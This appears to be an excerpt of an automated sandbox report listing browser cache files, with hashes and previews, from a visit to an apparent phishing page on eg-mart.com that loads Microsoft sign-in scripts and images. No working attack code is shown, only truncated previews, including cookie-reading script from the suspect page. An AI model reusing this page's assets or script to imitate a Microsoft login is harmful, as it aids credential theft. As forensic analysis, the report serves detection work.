SHA-512:	4A54004004AE3CF7CC12F6C66B31E45815726E90639C177BC564420DB98CE087B2A6FD8078FA7A226C079E5FE4125000ABF90782C3B93A050C0320D495D2AC43
Malicious:	false
Reputation:	low
URL:	https://butter2.mnrov.eg-mart.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 753 x 178, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9788
Entropy (8bit):	7.931476294574079
Encrypted:	false
SSDEEP:	192:QD8h5bvW9Ur/zAt/sTOfBvebtsUwnuy8foZXobGxDJJiybyPDdNr3VGrOQ2rNGOp:QInbvW2zGeOfU5sUry8fa4SxDJMy2PDB
MD5:	65E4F3AA3F24B90146FAC8E483C15CBC
SHA1:	EB0BC41E28BBE62753665C6E661F6EE7C99EE6E5
SHA-256:	421A479198E0AEA51ADAD33F42252566B69A6DD31E55A1DEAB3DE773E8A87891
SHA-512:	3D5FF38B94F8B4F1F9C5046E15B9C2AC2C90AC66FB9E875E1D693E995A0705E82819DA1E573109C7D7759BB8B87C4A94C99593765A8CDF088DEF83DBED15CC28
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............k......pHYs..,J..,J.wztM.. .IDATx...Oh$W.'..B>.!.....mEA...ke..i....9vK.......S...g...k.}mS..u.U}....:M.S....."k..V.X9...n..xQ.Re..x.x/...eWF.{%.2........K......tm}.`.......yl..J.O..!=."""........Fu.>][..D....j.c........q.........O................8....8/y.9......5.....\|.v....\|f. ..A<.....j.o..{....@..c.ODDD........>sO.N.u..x""".. ...X.cRG1.'"""_XY.j..X_@.`.M. .....w...X...8V...a.ODDD>.YJ.Z..=...C..........&.ic.%.\.J..x""".Chi...8y....<..DDD..[....8y..'.......L..@z.KL.....!.... ....\....p...<....._[..y..4DDD....E...1'..C.a.ODDD...'@d..x"""r]g3.Dma.ODDD....V..0.'""".... .. ....\.JO.H..x"""r............S/1.'"""'.M.6..A$.A<.....Yx.-..DDD.Pz.DR...........b.ODDD.b.O.. ......E..w....E..S.1.'""".... .. ....\.HO.H..x"""r..i...........'@$.A<...9.tm=,y..y.Ib.ODDD.)[J3iu.D.......k..S.1.'"""....6'A$.A<......Vf..[.....U..n_^..9."I....%..'..x"""r..x"0.'"""..%.c.O^c.ODDD..)y..x...x"""r...z.R....E..\........QI..o.R*....r..^..G).!..

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	downloaded
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	downloaded
Size (bytes):	113769
Entropy (8bit):	5.492540089333064
Encrypted:	false
SSDEEP:	1536:RS8gIRPY0+r5qnWisLTfM6tQSqLXCIIgbgZ1uXt1EN5eAfGqOD:vgDTMnWRwvDIgb0q7Eb9u
MD5:	C6C029BA88D52E5312FEC69603A00340
SHA1:	079011F6F0662C11AE907C773EFE8E0C9338EAD0
SHA-256:	DDD0BB1C19B3D2D045BFCDE85D2020BBA57854C887A6691B66DBA3DA1BB3AFBE
SHA-512:	7DF09CD949A43D53D62D9013718158966508DEC2338491FFB38DC33D2EB85FF5C699792AE578975DA0E4F03CC7EA03774624208D06924EEA4C2EAC92E6E22C60
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1373:function(e,t,

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	dropped
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
Reputation:	low
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	dropped
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 960x540, components 3
Category:	dropped
Size (bytes):	234265
Entropy (8bit):	7.9735200108036555
Encrypted:	false
SSDEEP:	6144:CqkmRBATZdNCmJwSUBpIlbcTaOAdKI6T8vYvL0UeQNJPyRgs:CBbAnPBEbXOAYFwWpTqRgs
MD5:	01ABDE4E56C6A5881EB595696ECE68C1
SHA1:	8F2AD28139E7306719B2767FAEE8D75CFAB9D34F
SHA-256:	BEE8ED104A402AEE7646FE69BF4B527468C171634CB2489212554482E5FA87DE
SHA-512:	6C7A80548EF6DA2FC9286F0212FA22D6780A83E404C3E7CC0F70C1BDFEE75E2B76BA4FF093EC0B0721320304625D4179AA9AD07AC2F44630DA655BE7A62BCEB0
Malicious:	false
Reputation:	low
